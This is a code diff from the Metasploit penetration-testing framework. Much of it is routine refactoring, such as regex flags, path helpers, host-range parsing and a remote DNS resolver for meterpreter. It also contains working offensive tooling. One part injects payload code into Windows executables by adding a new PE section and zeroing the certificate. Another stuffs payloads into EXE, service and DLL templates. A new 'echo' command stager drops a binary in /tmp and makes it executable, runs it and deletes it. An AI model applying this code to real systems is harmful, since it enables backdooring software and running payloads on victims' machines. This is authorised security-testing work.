Msf::OptInt.new('SESSION', [ true, "The session to run this module on." ])
|
||||
] , Msf::Post)
|
||||
|
||||
# Default stance is active
|
||||
|
@ -217,5 +216,3 @@ protected
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1112,8 +1112,8 @@ class Db
|
|||
else
|
||||
# Anything that wasn't an option is a host to search for
|
||||
unless (arg_host_range(arg, host_ranges))
|
||||
return
|
||||
end
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -1546,7 +1546,8 @@ class Db
|
|||
return
|
||||
end
|
||||
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
|
||||
if (::File.exists? ::File.expand_path(file))
|
||||
file = ::File.expand_path(file)
|
||||
if (::File.exists? file)
|
||||
db = YAML.load(::File.read(file))['production']
|
||||
framework.db.connect(db)
|
||||
|
||||
|
@ -1744,23 +1745,31 @@ class Db
|
|||
# Miscellaneous option helpers
|
||||
#
|
||||
|
||||
# Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+
|
||||
#
|
||||
# Parse +arg+ into a RangeWalker and append the result into +host_ranges+
|
||||
#
|
||||
# Returns true if parsing was successful or nil otherwise.
|
||||
#
|
||||
# NOTE: This modifies +host_ranges+
|
||||
# @note This modifies +host_ranges+ in place
|
||||
#
|
||||
# @param arg [String] The thing to turn into a RangeWalker
|
||||
# @param host_ranges [Array] The array of ranges to append
|
||||
# @param required [Boolean] Whether an empty +arg+ should be an error
|
||||
# @return [Boolean] true if parsing was successful or false otherwise
|
||||
def arg_host_range(arg, host_ranges, required=false)
|
||||
if (!arg and required)
|
||||
print_error("Missing required host argument")
|
||||
return
|
||||
return false
|
||||
end
|
||||
begin
|
||||
host_ranges << Rex::Socket::RangeWalker.new(arg)
|
||||
rw = Rex::Socket::RangeWalker.new(arg)
|
||||
rescue
|
||||
print_error("Invalid host parameter, #{arg}.")
|
||||
return
|
||||
return false
|
||||
end
|
||||
|
||||
if rw.valid?
|
||||
host_ranges << rw
|
||||
else
|
||||
print_error("Invalid host parameter, #{arg}.")
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
|
|
@ -16,6 +16,7 @@ require 'rex/pescan'
|
|||
require 'rex/zip'
|
||||
require 'metasm'
|
||||
require 'digest/sha1'
|
||||
require 'msf/core/exe/segment_injector'
|
||||
|
||||
##
|
||||
#
|
||||
|
@ -66,6 +67,7 @@ require 'digest/sha1'
|
|||
return template % hash_sub
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
#
|
||||
# Executable generators
|
||||
|
@ -185,80 +187,12 @@ require 'digest/sha1'
|
|||
|
||||
#try to inject code into executable by adding a section without affecting executable behavior
|
||||
if(opts[:inject])
|
||||
if endjunk
|
||||
raise RuntimeError, "Junk at end of file. Is this a packed exe?"
|
||||
end
|
||||
|
||||
#find first section file offset and free RVA for new section
|
||||
free_rva = pe.hdr.opt.AddressOfEntryPoint
|
||||
first_off = sections_end
|
||||
pe.sections.each do |sec|
|
||||
first_off = sec.file_offset if sec.file_offset < first_off
|
||||
free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
|
||||
end
|
||||
#align free_rva
|
||||
free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
|
||||
|
||||
#See if we can add a section
|
||||
first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
|
||||
new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
|
||||
if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
|
||||
raise RuntimeError, "Not enough room for new section header"
|
||||
end
|
||||
|
||||
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
|
||||
start_rva = free_rva
|
||||
|
||||
#make new section, starting at free RVA
|
||||
new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
|
||||
#pad to file alignment
|
||||
new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
|
||||
|
||||
#make new section header
|
||||
new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
|
||||
new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name
|
||||
new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
|
||||
new_sechead.v['VirtualAddress'] = free_rva
|
||||
new_sechead.v['SizeOfRawData'] = new_sec.length
|
||||
new_sechead.v['PointerToRawData'] = sections_end
|
||||
|
||||
# Create the modified version of the input executable
|
||||
exe = ''
|
||||
File.open(opts[:template], 'rb') { |fd|
|
||||
exe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
#New file header with updated number of sections and timedatestamp
|
||||
new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
|
||||
new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
|
||||
new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
|
||||
new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
|
||||
exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
|
||||
|
||||
#new optional header with new entry point, size of image, and size of code
|
||||
new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
|
||||
new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
|
||||
new_opthead.v['AddressOfEntryPoint'] = start_rva
|
||||
new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
|
||||
new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
|
||||
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
|
||||
#kill certificate; if it exists, we just invalidated it
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8
|
||||
|
||||
#new section header and new section
|
||||
exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
|
||||
exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec
|
||||
exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1)
|
||||
|
||||
cks = pe.hdr.opt.CheckSum
|
||||
if(cks != 0)
|
||||
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
|
||||
end
|
||||
|
||||
pe.close
|
||||
|
||||
injector = Msf::Exe::SegmentInjector.new({
|
||||
:payload => code,
|
||||
:template => opts[:template],
|
||||
:arch => :x86
|
||||
})
|
||||
exe = injector.generate_pe
|
||||
return exe
|
||||
end
|
||||
|
||||
|
@ -458,168 +392,100 @@ require 'digest/sha1'
|
|||
return pe
|
||||
end
|
||||
|
||||
def self.to_win32pe_exe_sub(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows.exe")
|
||||
def self.exe_sub_method(code,opts ={})
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
|
||||
case opts[:exe_type]
|
||||
when :service_exe
|
||||
max_length = 8192
|
||||
name = opts[:servicename]
|
||||
|
||||
if (code.length <= 4096)
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||
pe[bo, 11] = [name].pack('a11')
|
||||
end
|
||||
|
||||
if not opts[:sub_method]
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||
end
|
||||
when :dll
|
||||
max_length = 2048
|
||||
when :exe_sub
|
||||
max_length = 4096
|
||||
end
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= max_length)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
|
||||
raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if opts[:exe_type] == :dll
|
||||
mt = pe.index('MUTEX!!!')
|
||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||
end
|
||||
|
||||
return pe
|
||||
end
|
||||
|
||||
def self.to_win32pe_exe_sub(framework, code, opts={})
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows.exe")
|
||||
opts[:exe_type] = :exe_sub
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own EXE template
|
||||
set_template_default(opts, "template_x64_windows.exe")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 4096)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
|
||||
#try to inject code into executable by adding a section without affecting executable behavior
|
||||
if(opts[:inject])
|
||||
injector = Msf::Exe::SegmentInjector.new({
|
||||
:payload => code,
|
||||
:template => opts[:template],
|
||||
:arch => :x64
|
||||
})
|
||||
exe = injector.generate_pe
|
||||
return exe
|
||||
end
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :exe_sub
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win32pe_service(framework, code, opts={})
|
||||
|
||||
name = opts[:servicename]
|
||||
|
||||
# Allow the user to specify their own service EXE template
|
||||
set_template_default(opts, "template_x86_windows_svc.exe")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], 'rb') { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 8192)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||
pe[bo, 11] = [name].pack('a11')
|
||||
end
|
||||
|
||||
if not opts[:sub_method]
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||
end
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :service_exe
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe_service(framework, code, opts={})
|
||||
|
||||
name = opts[:servicename]
|
||||
|
||||
# Allow the user to specify their own service EXE template
|
||||
set_template_default(opts, "template_x64_windows_svc.exe")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 8192)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||
pe[bo, 11] = [name].pack('a11')
|
||||
end
|
||||
|
||||
if not opts[:sub_method]
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||
end
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :service_exe
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win32pe_dll(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows.dll")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 2048)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
# optional mutex
|
||||
mt = pe.index('MUTEX!!!')
|
||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :dll
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe_dll(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x64_windows.dll")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 2048)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
# optional mutex
|
||||
mt = pe.index('MUTEX!!!')
|
||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :dll
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_osx_arm_macho(framework, code, opts={})
|
||||
|
|
|
@ -280,7 +280,7 @@ class RbMysql
|
|||
# In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'.
|
||||
# You should use place-holder in prepared-statement.
|
||||
def escape_string(str)
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
|
||||
case s
|
||||
when "\0" then "\\0"
|
||||
when "\n" then "\\n"
|
||||
|
|
|
@ -32,7 +32,7 @@ class RbMysql
|
|||
alias get_client_info client_info
|
||||
|
||||
def escape_string(str)
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
|
||||
case s
|
||||
when "\0" then "\\0"
|
||||
when "\n" then "\\n"
|
||||
|
|
|
@ -5272,7 +5272,7 @@ module RbReadline
|
|||
# Actually update the display, period.
|
||||
def rl_forced_update_display()
|
||||
if (@visible_line)
|
||||
@visible_line.gsub!(/[^\x00]/,0.chr)
|
||||
@visible_line.gsub!(/[^\x00]/n,0.chr)
|
||||
end
|
||||
rl_on_new_line()
|
||||
@forced_display=true if !@forced_display
|
||||
|
@ -8520,7 +8520,7 @@ module RbReadline
|
|||
count -= 1
|
||||
end
|
||||
|
||||
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/,'') : string
|
||||
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/n,'') : string
|
||||
|
||||
case @encoding
|
||||
when 'E'
|
||||
|
|
|
@ -6,3 +6,4 @@ require 'rex/exploitation/cmdstager/debug_write'
|
|||
require 'rex/exploitation/cmdstager/debug_asm'
|
||||
require 'rex/exploitation/cmdstager/tftp'
|
||||
require 'rex/exploitation/cmdstager/bourne'
|
||||
require 'rex/exploitation/cmdstager/echo'
|
||||
|
|
|
@ -0,0 +1,113 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
require 'shellwords'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
class CmdStagerEcho < CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@var_elf = Rex::Text.rand_text_alpha(5)
|
||||
end
|
||||
|
||||
#
|
||||
# Override to ensure opts[:temp] is a correct *nix path
|
||||
#
|
||||
def generate(opts = {})
|
||||
opts[:temp] = opts[:temp] || '/tmp/'
|
||||
opts[:temp].gsub!(/\\/, "/")
|
||||
opts[:temp] = opts[:temp].shellescape
|
||||
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Override to set the extra byte count
|
||||
#
|
||||
def generate_cmds(opts)
|
||||
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
||||
@cmd_start = "echo -en "
|
||||
@cmd_end = ">>#{@tempdir}#{@var_elf}"
|
||||
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Encode into a "\\x55\\xAA" hex format that echo understands, where
|
||||
# interpretation of backslash escapes are enabled
|
||||
#
|
||||
def encode_payload(opts)
|
||||
return Rex::Text.to_hex(@exe, "\\\\x")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before ("echo -en ") / after (">>file") it.
|
||||
#
|
||||
def parts_to_commands(parts, opts)
|
||||
parts.map do |p|
|
||||
cmd = ''
|
||||
cmd << @cmd_start
|
||||
cmd << p
|
||||
cmd << @cmd_end
|
||||
cmd
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Since the binary has been already dropped to fs, just execute and
|
||||
# delete it
|
||||
#
|
||||
def generate_cmds_decoder(opts)
|
||||
cmds = []
|
||||
# Make it all happen
|
||||
cmds << "chmod +x #{@tempdir}#{@var_elf}"
|
||||
cmds << "#{@tempdir}#{@var_elf}"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
unless opts[:nodelete]
|
||||
cmds << "rm -f #{@tempdir}#{@var_elf}"
|
||||
end
|
||||
|
||||
return cmds
|
||||
end
|
||||
|
||||
#
|
||||
# Override it to ensure that the hex representation of a byte isn't cut
|
||||
#
|
||||
def slice_up_payload(encoded, opts)
|
||||
encoded_dup = encoded.dup
|
||||
|
||||
parts = []
|
||||
xtra_len = opts[:extra]
|
||||
xtra_len ||= 0
|
||||
while (encoded_dup.length > 0)
|
||||
temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
|
||||
# cut the end of the part until we reach the start
|
||||
# of a full byte representation "\\xYZ"
|
||||
while (temp.length > 0 && temp[-5, 3] != "\\\\x")
|
||||
temp.chop!
|
||||
end
|
||||
parts << temp
|
||||
encoded_dup.slice!(0, temp.length)
|
||||
end
|
||||
|
||||
parts
|
||||
end
|
||||
|
||||
def cmd_concat_operator
|
||||
" ; "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -116,7 +116,7 @@ module Rex
|
|||
if query
|
||||
@state[:query] = "?#{query}" # Can be nil
|
||||
end
|
||||
if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/
|
||||
if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/n
|
||||
real_path = "/#{$1}"
|
||||
else
|
||||
real_path = path
|
||||
|
|
|
@ -55,6 +55,7 @@ module Rex
|
|||
end
|
||||
# Reset the state once we close a host
|
||||
@state.delete_if {|k| k != :current_tag}
|
||||
@report_data = {:wspace => args[:wspace]}
|
||||
when "Port"
|
||||
@state[:has_text] = false
|
||||
collect_port
|
||||
|
|
|
@ -176,7 +176,7 @@ module Rex
|
|||
:os_family => os_family,
|
||||
:os_version => os_version,
|
||||
:os_accuracy => 100,
|
||||
:os_match => os_info.gsub(/\x2e$/,"")
|
||||
:os_match => os_info.gsub(/\x2e$/n,"")
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1627,8 +1627,8 @@ class PeBase
|
|||
if (rname & 0x80000000 != 0)
|
||||
rname &= ~0x80000000
|
||||
unistr = data[rname+2, 2 * data[rname,2].unpack('v')[0] ]
|
||||
unistr, trash = unistr.split(/\x00\x00/, 2)
|
||||
return unistr ? unistr.gsub(/\x00/, '') : nil
|
||||
unistr, trash = unistr.split(/\x00\x00/n, 2)
|
||||
return unistr ? unistr.gsub(/\x00/n, '') : nil
|
||||
end
|
||||
|
||||
rname.to_s
|
||||
|
|
|
@ -38,7 +38,7 @@ class Section
|
|||
return nil if !_section_header
|
||||
|
||||
# FIXME make this better...
|
||||
_section_header.v['Name'].gsub(/\x00+$/, '')
|
||||
_section_header.v['Name'].gsub(/\x00+$/n, '')
|
||||
end
|
||||
|
||||
def flags
|
||||
|
|
|
@ -4,6 +4,9 @@
|
|||
require 'rex/post/meterpreter/packet'
|
||||
require 'rex/post/meterpreter/extension'
|
||||
require 'rex/post/meterpreter/client'
|
||||
|
||||
# Used to generate a reflective DLL when migrating. This is yet another
|
||||
# argument for moving the meterpreter client into the Msf namespace.
|
||||
require 'msf/core/payload/windows'
|
||||
|
||||
module Rex
|
||||
|
@ -147,7 +150,7 @@ class ClientCore < Extension
|
|||
end
|
||||
# Get us to the installation root and then into data/meterpreter, where
|
||||
# the file is expected to be
|
||||
path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
|
||||
path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
|
||||
|
||||
if (opts['ExtensionPath'])
|
||||
path = opts['ExtensionPath']
|
||||
|
@ -209,7 +212,7 @@ class ClientCore < Extension
|
|||
# Include the appropriate reflective dll injection module for the target process architecture...
|
||||
if( process['arch'] == ARCH_X86 )
|
||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
|
||||
binary_suffix = "dll"
|
||||
binary_suffix = "x86.dll"
|
||||
elsif( process['arch'] == ARCH_X86_64 )
|
||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
|
||||
binary_suffix = "x64.dll"
|
||||
|
@ -219,7 +222,7 @@ class ClientCore < Extension
|
|||
|
||||
# Create the migrate stager
|
||||
migrate_stager = c.new()
|
||||
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" )
|
||||
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" )
|
||||
|
||||
blob = migrate_stager.stage_payload
|
||||
|
||||
|
@ -297,7 +300,7 @@ class ClientCore < Extension
|
|||
client.binary_suffix = 'x64.dll'
|
||||
else
|
||||
client.platform = 'x86/win32'
|
||||
client.binary_suffix = 'dll'
|
||||
client.binary_suffix = 'x86.dll'
|
||||
end
|
||||
|
||||
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
|
||||
|
|
|
@ -46,11 +46,7 @@ class Priv < Extension
|
|||
|
||||
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
|
||||
|
||||
if( client.platform == 'x64/win64' )
|
||||
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" )
|
||||
else
|
||||
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" )
|
||||
end
|
||||
elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" )
|
||||
|
||||
elevator_path = ::File.expand_path( elevator_path )
|
||||
|
||||
|
|
|
@ -11,6 +11,14 @@
|
|||
#
|
||||
###
|
||||
|
||||
##
|
||||
#
|
||||
# Net
|
||||
#
|
||||
##
|
||||
AF_INET = 2
|
||||
AF_INET6 = 23
|
||||
|
||||
##
|
||||
#
|
||||
# Permissions
|
||||
|
|
|
@ -0,0 +1,107 @@
|
|||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/meterpreter/extensions/stdapi/tlv'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Stdapi
|
||||
module Net
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides DNS resolution from the perspective
|
||||
# of the remote host.
|
||||
#
|
||||
###
|
||||
class Resolve
|
||||
|
||||
##
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Initializes a Resolve instance that is used to resolve network addresses
|
||||
# on the remote machine.
|
||||
#
|
||||
def initialize(client)
|
||||
self.client = client
|
||||
end
|
||||
|
||||
def resolve_host(hostname, family=AF_INET)
|
||||
request = Packet.create_request('stdapi_net_resolve_host')
|
||||
request.add_tlv(TLV_TYPE_HOST_NAME, hostname)
|
||||
request.add_tlv(TLV_TYPE_ADDR_TYPE, family)
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
type = response.get_tlv_value(TLV_TYPE_ADDR_TYPE)
|
||||
raw = response.get_tlv_value(TLV_TYPE_IP)
|
||||
|
||||
return raw_to_host_ip_pair(hostname, raw, type)
|
||||
end
|
||||
|
||||
def resolve_hosts(hostnames, family=AF_INET)
|
||||
request = Packet.create_request('stdapi_net_resolve_hosts')
|
||||
request.add_tlv(TLV_TYPE_ADDR_TYPE, family)
|
||||
|
||||
hostnames.each do |hostname|
|
||||
request.add_tlv(TLV_TYPE_HOST_NAME, hostname)
|
||||
end
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
hosts = []
|
||||
raws = []
|
||||
types = []
|
||||
|
||||
response.each(TLV_TYPE_IP) do |raw|
|
||||
raws << raw
|
||||
end
|
||||
|
||||
response.each(TLV_TYPE_ADDR_TYPE) do |type|
|
||||
types << type
|
||||
end
|
||||
|
||||
0.upto(hostnames.length - 1) do |i|
|
||||
raw = raws[i]
|
||||
type = types[i]
|
||||
host = hostnames[i]
|
||||
|
||||
hosts << raw_to_host_ip_pair(host, raw.value, type.value)
|
||||
end
|
||||
|
||||
return hosts
|
||||
end
|
||||
|
||||
def raw_to_host_ip_pair(host, raw, type)
|
||||
if raw.nil? or host.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if raw.empty?
|
||||
ip = ""
|
||||
else
|
||||
if type == AF_INET
|
||||
ip = Rex::Socket.addr_ntoa(raw[0..3])
|
||||
else
|
||||
ip = Rex::Socket.addr_ntoa(raw[0..16])
|
||||
end
|
||||
end
|
||||
|
||||
result = { :hostname => host, :ip => ip }
|
||||
|
||||
return result
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :client # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end; end
|
|
@ -8,6 +8,7 @@ require 'rex/post/meterpreter/extensions/stdapi/tlv'
|
|||
require 'rex/post/meterpreter/extensions/stdapi/fs/dir'
|
||||
require 'rex/post/meterpreter/extensions/stdapi/fs/file'
|
||||
require 'rex/post/meterpreter/extensions/stdapi/fs/file_stat'
|
||||
require 'rex/post/meterpreter/extensions/stdapi/net/resolve'
|
||||
require 'rex/post/meterpreter/extensions/stdapi/net/config'
|
||||
require 'rex/post/meterpreter/extensions/stdapi/net/socket'
|
||||
require 'rex/post/meterpreter/extensions/stdapi/sys/config'
|
||||
|
@ -69,7 +70,8 @@ class Stdapi < Extension
|
|||
'ext' => ObjectAliases.new(
|
||||
{
|
||||
'config' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config.new(client),
|
||||
'socket' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)
|
||||
'socket' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client),
|
||||
'resolve' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Resolve.new(client)
|
||||
})
|
||||
},
|
||||
{
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue